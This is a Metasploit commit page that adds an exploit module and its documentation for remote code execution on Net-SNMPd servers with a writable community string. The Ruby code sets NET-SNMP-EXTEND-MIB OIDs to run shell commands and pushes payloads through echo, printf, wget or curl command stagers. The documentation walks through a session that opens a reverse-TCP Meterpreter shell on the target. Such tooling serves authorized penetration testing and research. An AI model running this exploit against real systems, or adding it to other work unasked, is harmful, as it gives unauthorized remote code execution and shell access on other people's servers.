Skip to content

Commit

Permalink
Land #9396, Linux net snmpd rw access
Browse files Browse the repository at this point in the history
  • Loading branch information
dwelch-r7 authored and msjenkins-r7 committed Nov 7, 2019
1 parent b709673 commit 0263f2d
Show file tree
Hide file tree
Showing 2 changed files with 229 additions and 0 deletions.
123 changes: 123 additions & 0 deletions documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md
@@ -0,0 +1,123 @@
## Vulnerable Application

This module uses SNMP extension MIBs to enable remote code execution on the Linux Net-SNMPD servers using the
SNMP-EXTEND-MIB.

## Verification Steps

1. Start `msfconsole`
2. Do: `use exploit/linux/snmp/net_snmpd_rw_access`
3. Do: `set rhost [IP]`
4. Do: `set community [SNMP Community]`
5. Do: `set version [SNMP Version]`
6. Configure the payload
7. Do: `run`
8. You should get a session

## Options
**FILEPATH**
The location to write the executable out to on the target. Needs to be writable by the SNMP service user. This defaults to /tmp.

**COMMUNITY**
The read/write community string of the target Net-SNMP service.

**VERSION**
The SNMP protocol version. Accepted values are '1' or '2c'.

**CHUNKSIZE**
The maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments, but should hopefully work for all cmdstager flavors
Note that cmdstager payloads are modified to allow further escaping, so the values limits may also change between cmdstager flavors.
This is possibly related to the following bug: [https://sourceforge.net/p/net-snmp/bugs/2542/].

**TIMEOUT**
Specifies the maximum time to allow SNMP to timeout.

**SHELL**
The shell to call for the client. Defaults to '/bin/bash'



## Scenario

```
msf > use exploit/linux/snmp/net_snmpd_rw_access
msf exploit(linux/snmp/net_snmpd_rw_access) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/snmp/net_snmpd_rw_access) > set rhost 192.168.1.3
rhost => 192.168.1.3
msf exploit(linux/snmp/net_snmpd_rw_access) > set lhost 192.168.1.2
lhost => 192.168.1.2
msf exploit(linux/snmp/net_snmpd_rw_access) > set community private
community => private
msf exploit(linux/snmp/net_snmpd_rw_access) > set version 2c
version => 2c
msf exploit(linux/snmp/net_snmpd_rw_access) > show info
Name: Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution
Module: exploit/linux/snmp/net_snmpd_rw_access
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Steve Embling at InteliSecure
Available targets:
Id Name
-- ----
0 Linux x86
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CHUNKSIZE 200 yes Maximum bytes of payload to write at once
COMMUNITY private yes SNMP Community String
FILEPATH /tmp yes file path to write to
RETRIES 1 yes SNMP Retries
RHOST 192.168.1.3 yes The target address
RPORT 161 yes The target port (TCP)
SHELL /bin/bash yes Shell to call with -c argument
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TIMEOUT 1 yes SNMP Timeout
URIPATH no The URI to use for this exploit (default is random)
VERSION 2c yes SNMP Version <1/2c>
Payload information:
Space: 4096
Description:
This exploit module exploits the SNMP write access configuration
ability of SNMP-EXTEND-MIB to configure MIB extensions and lead to
remote code execution.
References:
https://www.intelisecure.com
msf exploit(linux/snmp/net_snmpd_rw_access) > run
[*] Started reverse TCP handler on 192.168.1.2:4444
[*] Command Stager progress - 1.11% done (199/17924 bytes)
[*] Command Stager progress - 2.23% done (399/17924 bytes)
[*] Command Stager progress - 3.34% done (598/17924 bytes)
[*] Command Stager progress - 4.45% done (797/17924 bytes)
... Redacted ...
[*] Command Stager progress - 98.64% done (17681/17924 bytes)
[*] Command Stager progress - 99.72% done (17873/17924 bytes)
[*] Sending stage (857352 bytes) to 192.168.1.3
[*] Meterpreter session 31 opened (192.168.1.2:4444 -> 192.168.1.3:54232) at 2018-02-14 17:30:22 +0000
[+] SNMP request timeout (this is promising).
[*] Command Stager progress - 100.00% done (18022/18022 bytes)
meterpreter > getuid
Server username: uid=121, gid=129, euid=121, egid=129
meterpreter > exit
[*] 192.168.1.3 - Meterpreter session 30 closed. Reason: User exit
```
106 changes: 106 additions & 0 deletions modules/exploits/linux/snmp/net_snmpd_rw_access.rb
@@ -0,0 +1,106 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'snmp'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::SNMPClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution',
'Description' => %q(
This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to
configure MIB extensions and lead to remote code execution.
),
'License' => MSF_LICENSE,
'Author' => ['Steve Embling at InteliSecure'],
'References' =>
[
[ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'],
[ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'],
[ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'],
[ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/']
],
'Payload' =>
{
'Space' => 4096
#note space above is not a hard limit and can be increased if required
#'BadChars' => "\x00"
},
'Targets' =>
[
['Linux x86', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}],
['Linux x64', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}]
],
#Not tested on other platforms but confirmed the above works.
'DisclosureDate' => "May 10 2004",
'DefaultTarget' => 0,
)
)
register_options(
[
OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']),
OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]),
OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash'])
])
end

# The exploit method connects and sets:
# NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
# NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable
# NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments
def execute_command(cmd, opts = {})
oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112'
oid_1_value = 4
oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112'
oid_2_value = datastore['SHELL']
oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112'
oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1'

comm = datastore['COMMUNITY']

cmd = cmd.shellescape unless flavor == :bourne

oid_3_value = "-c \"#{cmd}\""

vprint_status(oid_3_value)
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
#vprint_status(manager.get_value("sysDescr.0"))
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
resp = manager.set([varbind1, varbind2, varbind3])
vprint_status(manager.get_value(oid_4).to_s)
end
#Hit same again, first rewrite appears to remove the MIB, the next reinstates it.
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
begin
resp = manager.set([varbind1, varbind2, varbind3])
vprint_status(manager.get_value(oid_4).to_s)
rescue SNMP::RequestTimeout
print_good("SNMP request timeout (this is promising).")
end
end
end

def exploit
execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH'])
end
end

0 comments on commit 0263f2d

Please sign in to comment.